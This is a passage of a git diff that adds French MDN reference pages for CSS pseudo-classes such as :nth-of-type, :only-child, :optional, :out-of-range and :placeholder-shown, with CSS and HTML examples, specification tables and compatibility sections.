+  &lt;span&gt;Ce span ne l'est pas. :(&lt;/span&gt;
+  &lt;em&gt;Celui-ci est bizarre.&lt;/em&gt;
+  &lt;span&gt;Celui-ci l'est !&lt;/span&gt;
+  &lt;strike&gt;C'est un autre type&lt;/strike&gt;
+  &lt;span&gt;Malheureusement, celui-ci ne l'est pas.&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample('Exemples')}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>L'élément ciblé ne doit pas nécessairement avoir un élément parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-last-of-type-pseudo', ':nth-last-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.nth-last-of-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":last-of-type")}}</li>
+ <li>{{cssxref(":nth-of-type")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_nth-of-type/index.html b/files/fr/web/css/_colon_nth-of-type/index.html
new file mode 100644
index 0000000000..ab51994aec
--- /dev/null
+++ b/files/fr/web/css/_colon_nth-of-type/index.html
@@ -0,0 +1,108 @@
+---
+title: ':nth-of-type'
+slug: 'Web/CSS/:nth-of-type'
+tags:
+  - CSS
+  - Mise en page
+  - Pseudo-classe
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:nth-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:nth-of-type()</code></strong> correspond à des éléments d'un type donné, en fonction de leur position au sein d'un groupe de frères et sœurs.</p>
+
+<pre class="brush: css no-line-numbers  language-css">/* Sélectionne chaque élément de type &lt;p&gt; dont
+la position parmi l'ensemble des éléments de type &lt;p&gt;
+descendants directement du même élément parent,
+est un multiple de 4. */
+p:nth-of-type(4n) {
+  color: lime;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La pseudo-classe <code>nth-of-type</code> ne prend qu'un argument qui représente le motif de répétition pour les éléments ciblés.</p>
+
+<p>Pour une explication plus détaillée de sa syntax voir {{Cssxref(":nth-child")}}</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple nous allons colorer un paragrapher sur deux avec des couleurs différentes et mettre le premier paragraphe en gras</p>
+
+
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="punctuation token">&lt;div&gt;
+  &lt;div&gt;Cet élément n'est pas compté.&lt;/div&gt;
+  &lt;p&gt;1er paragraphe.&lt;/p&gt;
+  &lt;p&gt;2e paragraphe.&lt;/p&gt;
+  &lt;div&gt;Cet élément n'est pas compté.&lt;/div&gt;
+  &lt;p&gt;3e paragraphe.&lt;/p&gt;
+  &lt;p&gt;4e paragraphe.&lt;/p&gt;
+&lt;/div&gt;
+</span></span></code></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers  language-css"><code class="language-css">/* Paragraphes impairs */
+p:nth-of-type(2n+1) {
+  color: red;
+}
+
+/* Paragraphes pairs */
+</code><code class="language-css"><span class="selector token">p<span class="pseudo-class token">:nth-of-type(2n)</span> </span><span class="punctuation token">{</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> blue<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">/* Premier paragraphe */</span>
+<span class="selector token">p<span class="pseudo-class token">:nth-of-type(1)</span> </span><span class="punctuation token">{</span>
+  <span class="property token">font-weight</span><span class="punctuation token">:</span> bold<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample('Exemples','250','200')}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>L'élément ciblé ne doit pas nécessairement avoir un élément parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-of-type-pseudo', ':nth-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.nth-of-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":nth-child")}}</li>
+ <li>{{cssxref(":nth-last-of-type")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_only-child/index.html b/files/fr/web/css/_colon_only-child/index.html
new file mode 100644
index 0000000000..2ad2d86c12
--- /dev/null
+++ b/files/fr/web/css/_colon_only-child/index.html
@@ -0,0 +1,143 @@
+---
+title: ':only-child'
+slug: 'Web/CSS/:only-child'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:only-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:only-child</code></strong> représente n'importe quel élément qui est le seul enfant de son élément parent. Elle permet d'obtenir le même effet que <code>:first-child:last-child</code> ou <code>:nth-child(1):nth-last-child(1)</code>, mais avec une spécificité inférieure.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible chaque élément &lt;p&gt; si celui-ci   */
+/* est le seul élément fils de son parent */
+p:only-child {
+  background-color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> En CSS3, pour cibler l'élément, il fallait que celui-ci ait un élément parent. Cette restriction a été levée avec CSS4.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">span:only-child {
+  color:red;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;
+    Ce span est l'unique enfant
+    de son parent
+  &lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;span&gt;
+    Ce span est l'un des deux
+    enfants de son parent
+  &lt;/span&gt;
+  &lt;span&gt;
+    Ce span est l'un des deux
+    enfants de son parent
+  &lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple', '100%', 150)}}</p>
+
+<h3 id="Exemple_avec_une_liste">Exemple avec une liste</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css  l">li li {
+  list-style-type : disc;
+}
+
+li:only-child {
+  color: #6699ff;
+  font-style: italic;
+  list-style-type: square;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html  language-html">&lt;ol&gt;
+  &lt;li&gt;Premier
+    &lt;ul&gt;
+      &lt;li&gt;Ceci est l'unique élément enfant&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Deuxième
+    &lt;ul&gt;
+      &lt;li&gt;Cette liste a deux éléments&lt;/li&gt;
+      &lt;li&gt;Cette liste a deux éléments&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Troisième
+    &lt;ul&gt;
+      &lt;li&gt;Cette liste a trois éléments&lt;/li&gt;
+      &lt;li&gt;Cette liste a trois éléments&lt;/li&gt;
+      &lt;li&gt;Cette liste a trois éléments&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_avec_une_liste', '100%', 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#only-child-pseudo', ':only-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Il n'est plus nécessaire qu'un élément ait un parent pour être ciblé.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#only-child-pseudo', ':only-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.only-child")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":only-of-type")}}</li>
+ <li>{{cssxref(":first-child")}}</li>
+ <li>{{cssxref(":last-child")}}</li>
+ <li>{{cssxref(":nth-child")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_only-of-type/index.html b/files/fr/web/css/_colon_only-of-type/index.html
new file mode 100644
index 0000000000..d60cf898db
--- /dev/null
+++ b/files/fr/web/css/_colon_only-of-type/index.html
@@ -0,0 +1,115 @@
+---
+title: ':only-of-type'
+slug: 'Web/CSS/:only-of-type'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:only-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:only-of-type</code></strong> CSS permet de cibler un élément qui ne possède aucun nœud frère du même type pour un même élément parent (par exemple, sélectionner le seul élément {{HTMLElement("em")}} d'un {{HTMLElement("dd")}}).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible un élément &lt;p&gt; si celui-ci est le */
+/* seul paragraphe de son élément parent   */
+p:only-of-type {
+  background-color: lime;
+}</pre>
+
+<div class="note"><strong>Note :</strong> Dans la version initiale de la spécification (CSS3), l'élément ciblé devait avoir un parent, ce n'est plus nécessaire depuis (spécification pour les sélecteurs de CSS4).
+
+<p> </p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css  l">li li {
+  list-style-type : disc;
+}
+
+li:only-of-type {
+  color: #6699ff;
+  font-style: italic;
+  list-style-type: square;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html  language-html">&lt;ol&gt;
+  &lt;li&gt;Premier
+    &lt;ul&gt;
+      &lt;li&gt;Ceci est l'unique li&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Deuxième
+    &lt;ul&gt;
+      &lt;li&gt;Cette liste a deux éléments&lt;/li&gt;
+      &lt;li&gt;Cette liste a deux éléments&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;Troisième
+    &lt;ul&gt;
+      &lt;li&gt;Cette liste a trois éléments&lt;/li&gt;
+      &lt;li&gt;Cette liste a trois éléments&lt;/li&gt;
+      &lt;li&gt;Cette liste a trois éléments&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+&lt;ol&gt;
+  &lt;li&gt;Une seule liste imbriquée
+    &lt;ul&gt;Avec
+      &lt;li&gt;Un seul item&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 150)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#only-of-type-pseudo', ':only-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>L'élément ciblé ne doit pas nécessairement avoir un élément parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#only-of-type-pseudo', ':only-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.only-of-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":only-child")}}</li>
+ <li>{{cssxref(":nth-of-type")}}</li>
+ <li>{{cssxref(":first-of-type")}}</li>
+ <li>{{cssxref(":last-of-type")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_optional/index.html b/files/fr/web/css/_colon_optional/index.html
new file mode 100644
index 0000000000..26ec7e5506
--- /dev/null
+++ b/files/fr/web/css/_colon_optional/index.html
@@ -0,0 +1,116 @@
+---
+title: ':optional'
+slug: 'Web/CSS/:optional'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:optional'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:optional</code></strong> permet de cibler les éléments {{HTMLElement("input")}} ou {{HTMLElement("textarea")}}  pour lesquels l'attribut {{htmlattrxref("required","input")}} n'est pas activé. Cela permet ainsi d'indiquer et de mettre en forme les champs facultatifs d'un formulaire.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible les élméents &lt;input&gt; qui sont optionnels */
+/* c'est-à-dire qui n'ont pas d'attribut required */
+input:optional {
+  border: 1px dashed black;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Afin de mettre en forme les champs obligatoires, on pourra utiliser la pseudo-classe {{cssxref(":required")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input {
+  border-width: 3px;
+}
+input:optional {
+  border-color: #008000;
+}
+input:required {
+  border-color: #800000;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="url-input"&gt;Tapez une URL :&lt;/label&gt;
+  &lt;input type="url" id="url-input"&gt;
+  &lt;br&gt;
+  &lt;br&gt;
+  &lt;label for="email-input"&gt;Tapez une adresse électronique :&lt;/label&gt;
+  &lt;input type="email" id="email-input" required&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','100%',150)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Si un formulaire ({{HTMLElement("form")}}) contient des champs ({{htmlelement("input")}}) optionnels, les champs obligatoires doivent être indiqués avec l'attribut {{htmlattrxref("input","required")}}. Ainsi, les personnes utilisant des outils d'assistance (par exemple un lecteur d'écran) pourront savoir que ces champs ont besoin d'un contenu valide afin de pouvoir envoyer le formulaire.</p>
+
+<p>Les champs obligatoires devraient également être indiqués visuellement et cette indication ne doit pas uniquement être fournie avec une couleur. Généralement, un texte descriptif ou une icône est utilisé.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Explications des recommendation WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-optional', ':optional')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-optional', ':optional')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et aux contraintes de validation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#opt-pseudos', ':optional')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-required-value', ':optional')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition de la pseudo-classe mais sans la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.optional")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":valid")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">La validation des données de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_out-of-range/index.html b/files/fr/web/css/_colon_out-of-range/index.html
new file mode 100644
index 0000000000..ff99fb7c26
--- /dev/null
+++ b/files/fr/web/css/_colon_out-of-range/index.html
@@ -0,0 +1,107 @@
+---
+title: ':out-of-range'
+slug: 'Web/CSS/:out-of-range'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:out-of-range'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:out-of-range</code></strong> cible un élément {{HTMLElement("input")}} lorsque la valeur de son attribut <code>value</code> est en dehors de l'intervalle autorisé par les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max","input")}} attributes. Ceci permet d'informer l'utilisateur que la valeur actuellement renseignée dans l'élément est hors des limites acceptables.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;input&gt; qui possède un */
+/* attribut range et que la valeur associée est en     */
+/* dehors de cet intervalle */
+input:out-of-range {
+  background-color: rgba(255, 0, 0, 0.25);
+}</pre>
+
+<div class="note"><strong>Note :</strong> Cette pseudo-classe s'applique seulement aux éléments qui ont des valeurs limites.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html; highlight:[4]">&lt;form action="" id="form1"&gt;
+  &lt;ul&gt;Les valeurs entre 1 et 10 sont autorisées.
+    &lt;li&gt;
+      &lt;input id="valeur1" name="valeur1" type="number" placeholder="1 à 10" min="1" max="10" value="12"&gt;
+      &lt;label for="valeur1"&gt;Votre valeur est &lt;/label&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;">li {
+  list-style: none;
+  margin-bottom: 1em;
+}
+
+input {
+  border: 1px solid black;
+}
+
+input:in-range {
+  background-color: rgba(0, 255, 0, 0.25);
+}
+
+input:out-of-range {
+  background-color: rgba(255, 0, 0, 0.25);
+  border: 2px solid red;
+}
+
+input:in-range + label::after {
+  content:' OK';
+}
+
+input:out-of-range + label::after {
+    content:'hors des limites !';
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples',600,140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-out-of-range', ':out-of-range')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition de la correspondance entre <code>:out-of-range</code> et les éléments HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#out-of-range-pseudo', ':out-of-range')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.out-of-range")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":in-range")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Le guide de validation des données de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_placeholder-shown/index.html b/files/fr/web/css/_colon_placeholder-shown/index.html
new file mode 100644
index 0000000000..943598fde4
--- /dev/null
+++ b/files/fr/web/css/_colon_placeholder-shown/index.html
@@ -0,0 +1,199 @@
+---
+title: ':placeholder-shown'
+slug: 'Web/CSS/:placeholder-shown'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:placeholder-shown'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:placeholder-shown</code></strong> permet de représenter n'importe quel élément {{htmlElement("input")}} ou {{htmlElement("textarea")}} affichant <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML#The_placeholder_attribute">un texte de substitution</a>.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible tout élément &lt;input&gt; ou &lt;textarea&gt; avec un */
+/* attribut placeholder actuellement affiché        */
+:placeholder-shown {
+  border: 2px solid silver;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input:-ms-input-placeholder {
+  border-color: silver;
+}
+
+input:-moz-placeholder {
+  border-color: silver;
+}</pre>
+</div>
+
+<pre class="brush: css; highlight[6]">input {
+  border: 2px solid black;
+  padding: 3px;
+}
+
+:placeholder-shown {
+  border-color: silver;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="Saisir quelque chose ici"&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemples", 200, 60)}}</p>
+
+<h3 id="Dépassement_du_texte">Dépassement du texte</h3>
+
+<p>Sur certains écrans plus étroits (tels que ceux des smartphones), la largeur des boîtes de recherche et celle des champs de formulaire peut être réduite fortement. Le texte de substitution peut donc être tronqué de façon indésirable. On peut alors utiliser {{cssxref("text-overflow")}} pour gérer cela gracieusement.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="Veuillez saisir quelque chose dans ce champ s'il vous plaît !"&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input:-ms-input-placeholder {
+  text-overflow: ellipsis;
+}
+
+input:-moz-placeholder {
+  text-overflow: ellipsis;
+}</pre>
+</div>
+
+<pre class="brush: css">input:placeholder-shown {
+  text-overflow: ellipsis;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Dépassement_du_texte", 200, 60)}}</p>
+
+<h3 id="Texte_coloré">Texte coloré</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;input placeholder="Saisir quelque chose ici"&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input:-ms-input-placeholder {
+  color: red;
+  font-style: italic;
+}
+
+input:-moz-placeholder {
+  color: red;
+  font-style: italic;
+}</pre>
+</div>
+
+<pre class="brush: css">input:placeholder-shown {
+  color: red;
+  font-style: italic;
+}
+</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Texte_coloré")}}</p>
+
+<h3 id="Champ_de_saisie_personnalisé">Champ de saisie personnalisé</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;form id="test"&gt;
+  &lt;p&gt;
+    &lt;label for="name"&gt;Enter Student Name:&lt;/label&gt;
+    &lt;input id="name" placeholder="Student Name"/&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="branch"&gt;Enter Student Branch:&lt;/label&gt;
+    &lt;input id="branch" placeholder="Student Branch"/&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="sid"&gt;Enter Student ID:&lt;/label&gt;
+    &lt;input type="number" pattern="[0-9]{8}" title="8 digit ID" id="sid" class="studentid" placeholder="8 digit id"/&gt;
+  &lt;/p&gt;
+  &lt;input type="submit"/&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">input.studentid:-ms-input-placeholder {
+  background-color: yellow;
+  color: red;
+  font-style: italic;
+}
+
+input.studentid:-moz-placeholder {
+  background-color: yellow;
+  color: red;
+  font-style: italic;
+}</pre>
+</div>
+
+<pre class="brush: css; highlight[6]">input {
+  background-color: #E8E8E8;
+  color: black;
+}
+
+input.studentid:placeholder-shown {
+  background-color: yellow;
+  color: red;
+  font-style: italic;
+}</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Champ_de_saisie_personnalisé", 200, 180)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#placeholder", ":placeholder-shown")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.placeholder-shown")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::placeholder")}}</li>
+ <li>{{cssxref("::-moz-placeholder")}}</li>
+ <li>{{HTMLElement("input")}}</li>
